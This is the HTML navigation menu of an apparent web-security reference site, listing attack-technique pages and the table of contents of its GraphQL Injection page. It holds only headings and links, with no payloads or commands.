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<label class="md-nav__link" for="__nav_8" id="__nav_8_label" tabindex="0">
<span class="md-ellipsis">
CRLF Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_8_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_8">
<span class="md-nav__icon md-icon"></span>
CRLF Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../CRLF%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Carriage Return Line Feed
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_9" >
<label class="md-nav__link" for="__nav_9" id="__nav_9_label" tabindex="0">
<span class="md-ellipsis">
CSV Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_9_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_9">
<span class="md-nav__icon md-icon"></span>
CSV Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../CSV%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
CSV Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10" >
<label class="md-nav__link" for="__nav_10" id="__nav_10_label" tabindex="0">
<span class="md-ellipsis">
CVE Exploits
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_10_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_10">
<span class="md-nav__icon md-icon"></span>
CVE Exploits
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../CVE%20Exploits/" class="md-nav__link">
<span class="md-ellipsis">
Common Vulnerabilities and Exposures
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../CVE%20Exploits/Log4Shell/" class="md-nav__link">
<span class="md-ellipsis">
CVE-2021-44228 Log4Shell
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_11" >
<label class="md-nav__link" for="__nav_11" id="__nav_11_label" tabindex="0">
<span class="md-ellipsis">
Clickjacking
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_11_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_11">
<span class="md-nav__icon md-icon"></span>
Clickjacking
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Clickjacking/" class="md-nav__link">
<span class="md-ellipsis">
Clickjacking
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_12" >
<label class="md-nav__link" for="__nav_12" id="__nav_12_label" tabindex="0">
<span class="md-ellipsis">
Client Side Path Traversal
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_12_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_12">
<span class="md-nav__icon md-icon"></span>
Client Side Path Traversal
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Client%20Side%20Path%20Traversal/" class="md-nav__link">
<span class="md-ellipsis">
Client Side Path Traversal
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_13" >
<label class="md-nav__link" for="__nav_13" id="__nav_13_label" tabindex="0">
<span class="md-ellipsis">
Command Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_13_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_13">
<span class="md-nav__icon md-icon"></span>
Command Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Command%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Command Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_14" >
<label class="md-nav__link" for="__nav_14" id="__nav_14_label" tabindex="0">
<span class="md-ellipsis">
Cross Site Request Forgery
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_14_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_14">
<span class="md-nav__icon md-icon"></span>
Cross Site Request Forgery
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Cross-Site%20Request%20Forgery/" class="md-nav__link">
<span class="md-ellipsis">
Cross-Site Request Forgery
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_15" >
<label class="md-nav__link" for="__nav_15" id="__nav_15_label" tabindex="0">
<span class="md-ellipsis">
DNS Rebinding
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_15_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_15">
<span class="md-nav__icon md-icon"></span>
DNS Rebinding
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../DNS%20Rebinding/" class="md-nav__link">
<span class="md-ellipsis">
DNS Rebinding
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_16" >
<label class="md-nav__link" for="__nav_16" id="__nav_16_label" tabindex="0">
<span class="md-ellipsis">
DOM Clobbering
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_16_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_16">
<span class="md-nav__icon md-icon"></span>
DOM Clobbering
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../DOM%20Clobbering/" class="md-nav__link">
<span class="md-ellipsis">
DOM Clobbering
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_17" >
<label class="md-nav__link" for="__nav_17" id="__nav_17_label" tabindex="0">
<span class="md-ellipsis">
Denial of Service
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_17_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_17">
<span class="md-nav__icon md-icon"></span>
Denial of Service
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Denial%20of%20Service/" class="md-nav__link">
<span class="md-ellipsis">
Denial of Service
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_18" >
<label class="md-nav__link" for="__nav_18" id="__nav_18_label" tabindex="0">
<span class="md-ellipsis">
Dependency Confusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_18_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_18">
<span class="md-nav__icon md-icon"></span>
Dependency Confusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Dependency%20Confusion/" class="md-nav__link">
<span class="md-ellipsis">
Dependency Confusion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_19" >
<label class="md-nav__link" for="__nav_19" id="__nav_19_label" tabindex="0">
<span class="md-ellipsis">
Directory Traversal
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_19_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_19">
<span class="md-nav__icon md-icon"></span>
Directory Traversal
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Directory%20Traversal/" class="md-nav__link">
<span class="md-ellipsis">
Directory Traversal
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_20" >
<label class="md-nav__link" for="__nav_20" id="__nav_20_label" tabindex="0">
<span class="md-ellipsis">
File Inclusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_20_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_20">
<span class="md-nav__icon md-icon"></span>
File Inclusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../File%20Inclusion/" class="md-nav__link">
<span class="md-ellipsis">
File Inclusion
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../File%20Inclusion/LFI-to-RCE/" class="md-nav__link">
<span class="md-ellipsis">
LFI to RCE
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../File%20Inclusion/Wrappers/" class="md-nav__link">
<span class="md-ellipsis">
Inclusion Using Wrappers
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_21" >
<label class="md-nav__link" for="__nav_21" id="__nav_21_label" tabindex="0">
<span class="md-ellipsis">
Google Web Toolkit
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_21_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_21">
<span class="md-nav__icon md-icon"></span>
Google Web Toolkit
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Google%20Web%20Toolkit/" class="md-nav__link">
<span class="md-ellipsis">
Google Web Toolkit
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--active md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_22" checked>
<label class="md-nav__link" for="__nav_22" id="__nav_22_label" tabindex="0">
<span class="md-ellipsis">
GraphQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_22_label" aria-expanded="true">
<label class="md-nav__title" for="__nav_22">
<span class="md-nav__icon md-icon"></span>
GraphQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item md-nav__item--active">
<input class="md-nav__toggle md-toggle" type="checkbox" id="__toc">
<label class="md-nav__link md-nav__link--active" for="__toc">
<span class="md-ellipsis">
GraphQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<a href="./" class="md-nav__link md-nav__link--active">
<span class="md-ellipsis">
GraphQL Injection
</span>
</a>
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
<label class="md-nav__title" for="__toc">
<span class="md-nav__icon md-icon"></span>
Table of contents
</label>
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
<li class="md-nav__item">
<a href="#summary" class="md-nav__link">
<span class="md-ellipsis">
Summary
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#tools" class="md-nav__link">
<span class="md-ellipsis">
Tools
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#enumeration" class="md-nav__link">
<span class="md-ellipsis">
Enumeration
</span>
</a>
<nav class="md-nav" aria-label="Enumeration">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#common-graphql-endpoints" class="md-nav__link">
<span class="md-ellipsis">
Common GraphQL Endpoints
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#identify-an-injection-point" class="md-nav__link">
<span class="md-ellipsis">
Identify An Injection Point
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#enumerate-database-schema-via-introspection" class="md-nav__link">
<span class="md-ellipsis">
Enumerate Database Schema via Introspection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#enumerate-database-schema-via-suggestions" class="md-nav__link">
<span class="md-ellipsis">
Enumerate Database Schema via Suggestions
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#enumerate-types-definition" class="md-nav__link">
<span class="md-ellipsis">
Enumerate Types Definition
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#list-path-to-reach-a-type" class="md-nav__link">
<span class="md-ellipsis">
List Path To Reach A Type
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#methodology" class="md-nav__link">
<span class="md-ellipsis">
Methodology
</span>
</a>
<nav class="md-nav" aria-label="Methodology">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#extract-data" class="md-nav__link">
<span class="md-ellipsis">
Extract Data
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#extract-data-using-edgesnodes" class="md-nav__link">
<span class="md-ellipsis">
Extract Data Using Edges/Nodes
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#extract-data-using-projections" class="md-nav__link">
<span class="md-ellipsis">
Extract Data Using Projections
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#mutations" class="md-nav__link">
<span class="md-ellipsis">
Mutations
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#graphql-batching-attacks" class="md-nav__link">
<span class="md-ellipsis">
GraphQL Batching Attacks
</span>
</a>
<nav class="md-nav" aria-label="GraphQL Batching Attacks">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#json-list-based-batching" class="md-nav__link">
<span class="md-ellipsis">
JSON List Based Batching
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#query-name-based-batching" class="md-nav__link">
<span class="md-ellipsis">
Query Name Based Batching
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#injections" class="md-nav__link">
<span class="md-ellipsis">
Injections
</span>
</a>
<nav class="md-nav" aria-label="Injections">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#nosql-injection" class="md-nav__link">
<span class="md-ellipsis">
NOSQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#sql-injection" class="md-nav__link">
<span class="md-ellipsis">
SQL Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#labs" class="md-nav__link">
<span class="md-ellipsis">
Labs
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#references" class="md-nav__link">
<span class="md-ellipsis">
References
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_23" >
<label class="md-nav__link" for="__nav_23" id="__nav_23_label" tabindex="0">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_23_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_23">
<span class="md-nav__icon md-icon"></span>
HTTP Parameter Pollution
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../HTTP%20Parameter%20Pollution/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_24" >
<label class="md-nav__link" for="__nav_24" id="__nav_24_label" tabindex="0">
<span class="md-ellipsis">
Headless Browser
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_24_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_24">
<span class="md-nav__icon md-icon"></span>
Headless Browser
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Headless%20Browser/" class="md-nav__link">
<span class="md-ellipsis">
Headless Browser
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_25" >
<label class="md-nav__link" for="__nav_25" id="__nav_25_label" tabindex="0">
<span class="md-ellipsis">
Hidden Parameters
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_25_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_25">
<span class="md-nav__icon md-icon"></span>
Hidden Parameters
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Hidden%20Parameters/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Hidden Parameters
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_26" >
<label class="md-nav__link" for="__nav_26" id="__nav_26_label" tabindex="0">
<span class="md-ellipsis">
Insecure Deserialization
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_26_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_26">
<span class="md-nav__icon md-icon"></span>
Insecure Deserialization
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/DotNET/" class="md-nav__link">
<span class="md-ellipsis">
.NET Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/Java/" class="md-nav__link">
<span class="md-ellipsis">
Java Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/Node/" class="md-nav__link">
<span class="md-ellipsis">
Node Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/PHP/" class="md-nav__link">
<span class="md-ellipsis">
PHP Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/Python/" class="md-nav__link">
<span class="md-ellipsis">
Python Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/Ruby/" class="md-nav__link">
<span class="md-ellipsis">
Ruby Deserialization
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_27" >
<label class="md-nav__link" for="__nav_27" id="__nav_27_label" tabindex="0">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_27_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_27">
<span class="md-nav__icon md-icon"></span>
Insecure Direct Object References
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Direct%20Object%20References/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
</a>
</li>
</ul>
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</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_28" >
<label class="md-nav__link" for="__nav_28" id="__nav_28_label" tabindex="0">
<span class="md-ellipsis">
Insecure Management Interface
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_28_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_28">
<span class="md-nav__icon md-icon"></span>
Insecure Management Interface
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Management%20Interface/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Management Interface
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_29" >
<label class="md-nav__link" for="__nav_29" id="__nav_29_label" tabindex="0">
<span class="md-ellipsis">
Insecure Randomness
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_29_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_29">
<span class="md-nav__icon md-icon"></span>
Insecure Randomness
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Randomness/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Randomness
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_30" >
<label class="md-nav__link" for="__nav_30" id="__nav_30_label" tabindex="0">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_30_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_30">
<span class="md-nav__icon md-icon"></span>
Insecure Source Code Management
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Source%20Code%20Management/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Source%20Code%20Management/Bazaar/" class="md-nav__link">
<span class="md-ellipsis">
Bazaar
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Source%20Code%20Management/Git/" class="md-nav__link">
<span class="md-ellipsis">
Git
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Source%20Code%20Management/Mercurial/" class="md-nav__link">
<span class="md-ellipsis">
Mercurial
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Source%20Code%20Management/Subversion/" class="md-nav__link">
<span class="md-ellipsis">
Subversion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_31" >
<label class="md-nav__link" for="__nav_31" id="__nav_31_label" tabindex="0">
<span class="md-ellipsis">
JSON Web Token
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_31_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_31">
<span class="md-nav__icon md-icon"></span>
JSON Web Token
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../JSON%20Web%20Token/" class="md-nav__link">
<span class="md-ellipsis">
JWT - JSON Web Token
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_32" >
<label class="md-nav__link" for="__nav_32" id="__nav_32_label" tabindex="0">
<span class="md-ellipsis">
Java RMI
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_32_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_32">
<span class="md-nav__icon md-icon"></span>
Java RMI
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Java%20RMI/" class="md-nav__link">
<span class="md-ellipsis">
Java RMI
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_33" >
<label class="md-nav__link" for="__nav_33" id="__nav_33_label" tabindex="0">
<span class="md-ellipsis">
LDAP Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_33_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_33">
<span class="md-nav__icon md-icon"></span>
LDAP Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../LDAP%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
LDAP Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_34" >
<label class="md-nav__link" for="__nav_34" id="__nav_34_label" tabindex="0">
<span class="md-ellipsis">
LaTeX Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_34_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_34">
<span class="md-nav__icon md-icon"></span>
LaTeX Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../LaTeX%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
LaTeX Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_35" >
<label class="md-nav__link" for="__nav_35" id="__nav_35_label" tabindex="0">
<span class="md-ellipsis">
Mass Assignment
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_35_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_35">
<span class="md-nav__icon md-icon"></span>
Mass Assignment
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Mass%20Assignment/" class="md-nav__link">
<span class="md-ellipsis">
Mass Assignment
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_36" >
<label class="md-nav__link" for="__nav_36" id="__nav_36_label" tabindex="0">
<span class="md-ellipsis">
Methodology and Resources
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_36_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_36">
<span class="md-nav__icon md-icon"></span>
Methodology and Resources
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Active%20Directory%20Attack/" class="md-nav__link">
<span class="md-ellipsis">
Active Directory Attacks
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Bind%20Shell%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Bind Shell
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest/" class="md-nav__link">
<span class="md-ellipsis">
Cloud - AWS
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest/" class="md-nav__link">
<span class="md-ellipsis">
Cloud - Azure
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Cobalt%20Strike%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Cobalt Strike
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Container%20-%20Docker%20Pentest/" class="md-nav__link">
<span class="md-ellipsis">
Container - Docker
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Container%20-%20Kubernetes%20Pentest/" class="md-nav__link">
<span class="md-ellipsis">
Container - Kubernetes
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Escape%20Breakout/" class="md-nav__link">
<span class="md-ellipsis">
Application Escape and Breakout
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/HTML%20Smuggling/" class="md-nav__link">
<span class="md-ellipsis">
HTML Smuggling
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Hash%20Cracking/" class="md-nav__link">
<span class="md-ellipsis">
Hash Cracking
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Initial%20Access/" class="md-nav__link">
<span class="md-ellipsis">
Initial Access
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Linux%20-%20Evasion/" class="md-nav__link">
<span class="md-ellipsis">
Linux - Evasion
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Linux%20-%20Persistence/" class="md-nav__link">
<span class="md-ellipsis">
Linux - Persistence
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation/" class="md-nav__link">
<span class="md-ellipsis">
Linux - Privilege Escalation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/MSSQL%20Server%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
MSSQL Server
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Metasploit
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Methodology%20and%20enumeration/" class="md-nav__link">
<span class="md-ellipsis">
Bug Hunting Methodology and Enumeration
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Network%20Discovery/" class="md-nav__link">
<span class="md-ellipsis">
Network Discovery
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Network%20Pivoting%20Techniques/" class="md-nav__link">
<span class="md-ellipsis">
Network Pivoting Techniques
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Office%20-%20Attacks/" class="md-nav__link">
<span class="md-ellipsis">
Office - Attacks
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Powershell%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Powershell
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Reverse Shell Cheat Sheet
</span>
</a>
</li>
